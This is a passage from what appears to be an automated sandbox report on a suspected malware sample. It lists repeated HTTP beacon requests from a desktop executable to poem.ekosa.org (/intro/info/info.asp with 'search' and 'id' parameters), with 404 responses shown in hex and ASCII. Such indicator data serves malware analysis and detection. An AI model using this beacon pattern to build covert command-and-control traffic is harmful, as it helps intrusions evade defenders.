Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
200	192.168.2.4	49980	210.116.91.80	80	C:\Users\user\Desktop\WVbU1Gf5p8.exe

Timestamp	kBytes transferred	Direction	Data
Jan 11, 2021 17:56:53.335024118 CET	5231	OUT	GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: poem.ekosa.org Connection: Keep-Alive
Jan 11, 2021 17:56:53.597409964 CET	5232	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 11 Jan 2021 16:56:53 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
201	192.168.2.4	49981	210.116.91.80	80	C:\Users\user\Desktop\WVbU1Gf5p8.exe

Timestamp	kBytes transferred	Direction	Data
Jan 11, 2021 17:56:53.972723961 CET	5233	OUT	GET /intro/info/info.asp?id=dn678 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: poem.ekosa.org Connection: Keep-Alive
Jan 11, 2021 17:56:54.233335018 CET	5233	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 11 Jan 2021 16:56:53 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
202	192.168.2.4	49982	210.116.91.80	80	C:\Users\user\Desktop\WVbU1Gf5p8.exe

Timestamp	kBytes transferred	Direction	Data
Jan 11, 2021 17:56:54.505481958 CET	5235	OUT	GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: poem.ekosa.org Connection: Keep-Alive
Jan 11, 2021 17:56:54.767642021 CET	5235	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 11 Jan 2021 16:56:54 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
203	192.168.2.4	49983	210.116.91.80	80	C:\Users\user\Desktop\WVbU1Gf5p8.exe

Timestamp	kBytes transferred	Direction	Data
Jan 11, 2021 17:56:55.040930033 CET	5236	OUT	GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: poem.ekosa.org Connection: Keep-Alive
Jan 11, 2021 17:56:55.305458069 CET	5236	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 11 Jan 2021 16:56:54 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
204	192.168.2.4	49984	210.116.91.80	80	C:\Users\user\Desktop\WVbU1Gf5p8.exe

Timestamp	kBytes transferred	Direction	Data
Jan 11, 2021 17:56:55.707200050 CET	5237	OUT	GET /intro/info/info.asp?id=dn678 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: poem.ekosa.org Connection: Keep-Alive
Jan 11, 2021 17:56:55.967573881 CET	5238	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 11 Jan 2021 16:56:55 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
205	192.168.2.4	49985	210.116.91.80	80	C:\Users\user\Desktop\WVbU1Gf5p8.exe

Timestamp	kBytes transferred	Direction	Data
Jan 11, 2021 17:56:56.234875917 CET	5239	OUT	GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: poem.ekosa.org Connection: Keep-Alive
Jan 11, 2021 17:56:56.496800900 CET	5240	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 11 Jan 2021 16:56:55 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
206	192.168.2.4	49986	210.116.91.80	80	C:\Users\user\Desktop\WVbU1Gf5p8.exe

Timestamp	kBytes transferred	Direction	Data
Jan 11, 2021 17:56:56.778594971 CET	5241	OUT	GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: poem.ekosa.org Connection: Keep-Alive
Jan 11, 2021 17:56:57.040232897 CET	5242	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 11 Jan 2021 16:56:56 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
207	192.168.2.4	49987	210.116.91.80	80	C:\Users\user\Desktop\WVbU1Gf5p8.exe

Timestamp	kBytes transferred	Direction	Data
Jan 11, 2021 17:56:57.437668085 CET	5243	OUT	GET /intro/info/info.asp?id=dn678 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: poem.ekosa.org Connection: Keep-Alive
Jan 11, 2021 17:56:57.708017111 CET	5244	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 11 Jan 2021 16:56:56 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
208	192.168.2.4	49988	210.116.91.80	80	C:\Users\user\Desktop\WVbU1Gf5p8.exe

Timestamp	kBytes transferred	Direction	Data
Jan 11, 2021 17:56:57.978763103 CET	5245	OUT	GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: poem.ekosa.org Connection: Keep-Alive
Jan 11, 2021 17:56:58.244816065 CET	5246	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 11 Jan 2021 16:56:58 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
209	192.168.2.4	49989	210.116.91.80	80	C:\Users\user\Desktop\WVbU1Gf5p8.exe

Timestamp	kBytes transferred	Direction	Data
Jan 11, 2021 17:56:58.514718056 CET	5247	OUT	GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: poem.ekosa.org Connection: Keep-Alive
Jan 11, 2021 17:56:58.778353930 CET	5247	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 11 Jan 2021 16:56:58 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
21	192.168.2.4	49785	210.116.91.80	80	C:\Users\user\Desktop\WVbU1Gf5p8.exe

Timestamp	kBytes transferred	Direction	Data
Jan 11, 2021 17:55:08.776441097 CET	390	OUT	GET /intro/info/info.asp?id=dn678 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: poem.ekosa.org Connection: Keep-Alive
Jan 11, 2021 17:55:09.039418936 CET	391	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 11 Jan 2021 16:55:08 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 